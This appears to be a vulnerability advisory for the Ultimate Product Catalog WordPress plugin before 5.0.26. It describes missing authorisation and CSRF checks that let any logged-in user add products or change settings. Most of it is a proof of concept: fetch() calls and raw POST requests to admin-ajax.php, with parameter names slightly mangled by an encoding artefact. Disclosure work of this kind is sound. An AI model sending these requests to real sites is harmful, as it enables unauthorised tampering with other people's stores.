Ultimate Product Catalog < 5.0.26 - Subscriber+ Arbitrary Product Creation & Settings Update

The plugin does not have authorisation and CSRF checks in some AJAX actions, which could allow any authenticated users, such as subscriber to call them and add arbitrary products, or change the plugin’s settings for example

PoC

To add a product: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=ewd_upcp_welcome_add_product&product;_name=Name&product;_description=Description&product;_price=100”, “method”: “POST”, “credentials”: “include” }); POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 103 Connection: close Cookie: [any authenticated user] action=ewd_upcp_welcome_add_product&product;_name=Name&product;_description=Description&product;_price=100 To change the currency settings: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=ewd_upcp_welcome_set_options&currency;_symbol=aaaaaaaa”, “method”: “POST”, “credentials”: “include” }); POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 60 Connection: close Cookie: [any authenticated user] action=ewd_upcp_welcome_set_options&currency;_symbol=aaaaaaaa